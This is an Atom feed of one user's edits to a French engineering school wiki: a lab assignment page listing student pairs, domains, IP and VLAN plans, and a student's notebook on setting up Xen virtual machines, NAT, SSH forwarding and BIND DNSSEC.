<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
	<id>https://wiki-se.plil.fr/mediawiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Abiernac</id>
	<title>wiki-se.plil.fr - Contributions [fr]</title>
	<link rel="self" type="application/atom+xml" href="https://wiki-se.plil.fr/mediawiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Abiernac"/>
	<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php/Sp%C3%A9cial:Contributions/Abiernac"/>
	<updated>2026-05-13T21:34:14Z</updated>
	<subtitle>Contributions</subtitle>
	<generator>MediaWiki 1.39.1</generator>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12751</id>
		<title>SE4 IdO sécurité système/réseau 2025/2026</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12751"/>
		<updated>2026-03-03T22:21:50Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes pour les travaux pratiques &amp;quot;administration système et réseau&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Préfixe des noms de machine : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Domaines Internet à louer sur [[gandi.net]]. Identifiant &amp;lt;code&amp;gt;pifou&amp;lt;/code&amp;gt;. Regardez le montant prévu sur le compte avant de louer un domaine.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elève !! Nom de domaine&lt;br /&gt;
! Nom de machine de services !! Nom de machine mandataire&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinuxbtw.lol|| SE4.CachyOS||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || c2vts.fr|| SE4.C2||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || rs7.online|| SE4.RS7||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.tech|| SE4.Elf||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || dardevil.tech|| SE4.catwoman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves &lt;br /&gt;
!numéro de binôme&lt;br /&gt;
!Adresse IPV4 OpenWRT&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI &amp;amp; Agathe HOUDUSSE&lt;br /&gt;
|1&lt;br /&gt;
|193.48.57.177&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI &amp;amp; Marin GOURVEST&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET &amp;amp; Thomas DELOBELLE&lt;br /&gt;
|3&lt;br /&gt;
|193.48.57.180&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI &amp;amp; Yassine YAHIANI &lt;br /&gt;
|4&lt;br /&gt;
|193.48.57.178&lt;br /&gt;
|-&lt;br /&gt;
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE &amp;amp; Tom MERIEN&lt;br /&gt;
|5&lt;br /&gt;
|193.48.57.181&lt;br /&gt;
|-&lt;br /&gt;
| SE4.superman|| 193.48.57.169|| Billel Cheklat &amp;amp; Antonin Biernacki&lt;br /&gt;
|7&lt;br /&gt;
|193.48.57.182&lt;br /&gt;
|-&lt;br /&gt;
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse &amp;amp; GAUTHIER Mario Sylainx S.&lt;br /&gt;
|6&lt;br /&gt;
|193.48.57.179&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Solstice|| 193.48.57.167|| Mohamed Salhi &lt;br /&gt;
|2&lt;br /&gt;
|193.48.57.173&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des commutateurs virtuels =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé &lt;br /&gt;
|-&lt;br /&gt;
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24&lt;br /&gt;
|-&lt;br /&gt;
|PAYET / DELOBELLE&lt;br /&gt;
|pont_pacman&lt;br /&gt;
|192.168.10.0/24&lt;br /&gt;
|-&lt;br /&gt;
|MERIEN / VANGHELUWE&lt;br /&gt;
|pont_pere&lt;br /&gt;
|192.168.0.0/24&lt;br /&gt;
|-&lt;br /&gt;
|CHEKLAT / BIERNACKI&lt;br /&gt;
|pont_ironman&lt;br /&gt;
|192.168.69.0/24&lt;br /&gt;
|-&lt;br /&gt;
|SALHI&lt;br /&gt;
|pont_msalhi&lt;br /&gt;
|192.168.20.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GOURVEST/GHAZALI&lt;br /&gt;
|pont_diviseur&lt;br /&gt;
|192.168.67.0/24&lt;br /&gt;
|-&lt;br /&gt;
|YAHIANI / TEPELI&lt;br /&gt;
|pontclio&lt;br /&gt;
|192.168.7.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GAUTHIER / SOUOP METSE&lt;br /&gt;
|Styx&lt;br /&gt;
|192.168.50.0/24&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des réseaux virtuels =&lt;br /&gt;
&lt;br /&gt;
VLAN privés :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| VLAN1 || 1&lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || 2 &lt;br /&gt;
|-&lt;br /&gt;
|E1-Pierre&lt;br /&gt;
|11&lt;br /&gt;
|-&lt;br /&gt;
|E2-Agathe&lt;br /&gt;
|12&lt;br /&gt;
|-&lt;br /&gt;
|E5-Cedric&lt;br /&gt;
|15&lt;br /&gt;
|-&lt;br /&gt;
|E6-Thomas&lt;br /&gt;
|16&lt;br /&gt;
|-&lt;br /&gt;
|E9-Aurele&lt;br /&gt;
|19&lt;br /&gt;
|-&lt;br /&gt;
|E10-Tom&lt;br /&gt;
|20&lt;br /&gt;
|-&lt;br /&gt;
|E13-Billel&lt;br /&gt;
|23&lt;br /&gt;
|-&lt;br /&gt;
|E14-Antonin&lt;br /&gt;
|24&lt;br /&gt;
|-&lt;br /&gt;
|E15-MSalhi&lt;br /&gt;
|25&lt;br /&gt;
|-&lt;br /&gt;
|E11-Evora&lt;br /&gt;
|28&lt;br /&gt;
|-&lt;br /&gt;
|E12-Gauthier&lt;br /&gt;
|21&lt;br /&gt;
|-&lt;br /&gt;
|E8-Yassine&lt;br /&gt;
|18&lt;br /&gt;
|-&lt;br /&gt;
|E7-Ibrahim&lt;br /&gt;
|17&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
VLAN communs avec l'école :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| INTERCO1 || 530 &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Schéma de câblage =&lt;br /&gt;
&lt;br /&gt;
Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
Le plan doit donc comporter, pour chaque connexion, les locaux d'origine et de destination ainsi que l'identifiant des ports d'origine et de destination.&lt;br /&gt;
&lt;br /&gt;
= Plan d'adressage =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6 &lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || &amp;lt;code&amp;gt;193.48.57.160/27&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a0::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolPierre || &amp;lt;code&amp;gt;10.60.1.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a1::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolAgathe || &amp;lt;code&amp;gt;10.60.2.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a2::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|PoolCedric&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.5.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a5::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolThomas&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.6.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a6::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolBillel&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.13.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60ad::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolAurele&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.9.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a9::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolTom&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.10.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60aa::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolSalhi&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.15.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60b1::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolAntonin&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.14.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60ae::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolYassine&lt;br /&gt;
|10.60.8.0/24&lt;br /&gt;
|2001:660:4401:60a8::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolEvora&lt;br /&gt;
|10.60.11.0/24&lt;br /&gt;
|2001:660:4401:60ab::/64&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Adresses IPv4 des éléments réseau dans VLAN1&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Elément !! Adresse &lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E304 || 172.27.0.1/16&lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E306 || 172.27.0.2/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E306 || 172.27.0.3/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E304 || 172.27.0.4/16&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Informations VRRP =&lt;br /&gt;
&lt;br /&gt;
Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l'unique IPv4 virtuelle.&lt;br /&gt;
&lt;br /&gt;
== VLAN des machines virtuelles ==&lt;br /&gt;
&lt;br /&gt;
Une seule instance VRRP dans le VLAN des machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
Adresse IPv4 virtuelle : &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Routeur !! IPv4 propre &lt;br /&gt;
|-&lt;br /&gt;
| C9200 E304 || &amp;lt;code&amp;gt;193.48.57.163&amp;lt;/code&amp;gt;&lt;br /&gt;
|- &lt;br /&gt;
| C9200 E306 || &amp;lt;code&amp;gt;193.48.57.164&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== VLAN ... ==&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12357</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12357"/>
		<updated>2026-02-23T10:52:30Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''BIERNACKI Antonin'''&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
== Infos concernant notre binôme ==&lt;br /&gt;
Binôme : '''CHEKLAT Billel''' [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : '''superman'''&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : '''193.48.57.169'''&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : '''batman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : '''deadpool.tech'''&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : '''catwoman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : '''dardevil.tech''' (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : '''pont_ironman'''&lt;br /&gt;
&lt;br /&gt;
Réseau IPv4 : '''192.168.69.0/24'''&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons '''créé nos trois machines''' sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le '''root password''' qu'il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp '''robuste''' car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de '''démarrer les machines''' avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d'&amp;lt;nowiki/&amp;gt;'''accéder à la console de la machine virtuelle''' (pour quitter la console un exit suffit et pour quitter la saisie de connection '''Ctrl + Shift + 5''') :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour '''créer les partitions''' /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour '''formater et monter''' les partitions nous utilisons les commandes suivantes ('''/!\ pas dans capbreton''') :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient '''montées de façon automatiques''' au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez '''redémarrer''' la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On modifie le fichier &amp;lt;code&amp;gt;/etc/xen/SE4.batman.cfg&amp;lt;/code&amp;gt; sur capbreton&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois cela fait on peut '''redémarrer''' la VM avec les commandes précédentes. Ensuite sur batman on doit lancer l'interface :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reboot&lt;br /&gt;
ifdown eth1; ifup eth1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Configuration SSH et Mascarade ==&lt;br /&gt;
Ces commandes permettent de '''synchroniser l'heure''' du système :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
La mascarade se configure avec '''iptables''', et consiste à donne une adresse IPv4 qui permet d'accéder à internet. &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans les '''trois VMs''' on modifie &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; en ajoutant :&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
On peut ensuite '''redémarrer''' le service ssh :&lt;br /&gt;
 /etc/init.d/ssh restart&lt;br /&gt;
La '''redirection du port ssh''' ce fait via les commandes suivantes sur la machine mandataire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans le fichier &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; la ligne suivante doit être '''décommentée''' :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour éviter de perdre la configuration à chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Désormais le ssh peut être fait via les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ssh en IPV4&lt;br /&gt;
ssh root@&amp;lt;add_ipv4&amp;gt; -p 2202&lt;br /&gt;
# ssh en IPV6&lt;br /&gt;
ssh root@&amp;lt;add_ipv6&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DNS et DNSSEC ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;  afin de fait passer par notre DNS et d'avoir le second DNS en backup :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans &amp;lt;code&amp;gt;/etc/bind&amp;lt;/code&amp;gt; et y créer le fichier &amp;lt;code&amp;gt;db.deadpool.tech&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
